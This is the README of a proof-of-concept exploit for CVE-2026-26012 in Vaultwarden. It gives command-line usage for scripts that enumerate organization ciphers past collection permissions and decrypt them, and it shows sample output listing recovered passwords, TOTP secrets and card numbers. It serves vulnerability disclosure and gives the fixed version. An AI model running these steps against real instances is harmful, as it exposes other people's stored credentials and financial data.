
Proof-of-concept exploit for CVE-2026-26012, a broken access control in Vaultwarden that allows any organization member to enumerate and decrypt all ciphers, bypassing collection permissions.
Full Cipher Enumeration Ignoring Organization Collection Permissions
A proof-of-concept exploit for CVE-2026-26012, a broken access control vulnerability in Vaultwarden (<= 1.35.2) that allows any organization member to retrieve and decrypt all ciphers within the organization, regardless of collection-level permissions.
🤖 Note: This project was developed with the assistance of Claude 3 Opus. AI was utilized for code generation, architectural structure, and documentation. All outputs have been manually reviewed and tested for quality assurance.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| Affected | Vaultwarden ≤ 1.35.2 |
| Fixed in | 1.35.3 |
| CVSS 3.1 | 6.5 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Incorrect Authorization |
| Credit | Discovered by @odgrso, fixed by @BlackDex |
The API endpoint GET /api/ciphers/organization-details is accessible to any organization member. Internally, it calls Cipher::find_by_org which returns all ciphers in the organization, then serves them with CipherSyncType::Organization without enforcing collection-level access control.
Since all organization ciphers share the same organization encryption key (which every member receives upon joining), the leaked ciphers can be fully decrypted client-side.
Regular org member (restricted to "Public" collection)
│
├── GET /api/sync → 5 ciphers (correct)
│
└── GET /api/ciphers/organization-details
└──→ 47 ciphers (ALL org ciphers — BUG)
└──→ 42 ciphers from restricted collections (LEAKED)
└──→ Decryptable with the org key the member already has
.
├── README.md # This file
├── poc_cve_2026_26012.py # Phase 1: Cipher enumeration & leak detection
├── poc_decrypt.py # Phase 2: Org key recovery & cipher decryption
└── LICENSE
cryptography (for Phase 2 decryption)argon2-cffi (only if the target instance uses Argon2id KDF)pip install cryptography
pip install argon2-cffi # optional
Detects whether the instance is vulnerable by comparing ciphers returned by the normal /api/sync endpoint vs. the vulnerable /api/ciphers/organization-details endpoint.
# Authenticate via browser (SSO + 2FA supported), then pass the Bearer token
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer token (recommended — works with SSO + 2FA)
--token "eyJhbGciOi..."
# Session cookie
--cookie "VAULTWARDEN_SESSION=abc123..."
# Raw Cookie header (multiple cookies)
--cookie-header "session=abc; token=xyz"
# Direct password login (NO SSO, NO 2FA only)
--email [email protected] --password "MasterPassword"
How to extract your Bearer token:
/api/... and copy the Authorization header value--no-verify-ssl # Skip SSL verification (self-signed certs)
--show-all # Also display legitimately accessible ciphers
--max-display 50 # Max number of leaked ciphers to show (default: 20)
--output results.json # Export full results to JSON
Recovers the organization encryption key and decrypts all leaked ciphers from Phase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Note:
--master-passwordis your Vaultwarden master password, used locally to derive the decryption key chain. It is never sent over the network. The--tokenhandles API authentication.
Troubleshooting: If key decryption fails, add
--debugto see intermediate values at each step. The script automatically tries 5 strategies (HKDF modern, HMAC legacy, raw key, and HMAC-skip variants) to handle different account ages and configurations.
If you already have the 64-byte organization key (128 hex characters):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Key Recovery Chain ===
[1/6] Fetching KDF parameters...
KDF: PBKDF2-SHA256, iterations: 600000
[2/6] Deriving master key...
[3/6] Stretching master key (HKDF-Expand)...
[4/6] Fetching encrypted keys from /api/sync...
Organization: ACME Corp
[5/6] Decrypting user symmetric key...
[6/6] Decrypting RSA private key → Organization key...
[+] Organization key recovered successfully!
[*] Decrypting 42 cipher(s)...
============================================================
DECRYPTION RESULTS
============================================================
Total: 42
Decrypted: 42
Errors: 0
IMPACT SUMMARY
Passwords recovered: 35
TOTP secrets recovered: 12
Card numbers recovered: 3
============================================================
Every organization member already possesses the organization's symmetric key, encrypted with their RSA public key. The decryption chain is:
Master Password + Email
│ PBKDF2-SHA256 or Argon2id
▼
Master Key (32 bytes)
│ HKDF-Expand-SHA256
▼
Stretched Key: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (decrypts profile.key)
▼
User Symmetric Key: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (decrypts profile.privateKey)
▼
RSA Private Key (2048-bit PKCS#8 DER)
│ RSA-OAEP-SHA1 (decrypts profile.organizations[].key)
▼
Organization Key: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Decrypted cipher data
In the Bitwarden/Vaultwarden model, all ciphers in an organization share the same encryption key. Collection-based access control is enforced server-side only — the cryptographic model does not enforce collection boundaries. Any member who has the org key can decrypt any cipher in the organization. This CVE bypasses the server-side filter, exposing all ciphers to any member.
| Cipher Type | Decrypted Fields |
|---|---|
| Login | username, password, TOTP secret, URIs |
| Card | cardholder, number, CVV, expiration |
| Identity | name, SSN, passport, address, phone, email |
| Secure Note | full note content |
| All types | custom fields, attachment metadata |
Update Vaultwarden to 1.35.3 or later immediately.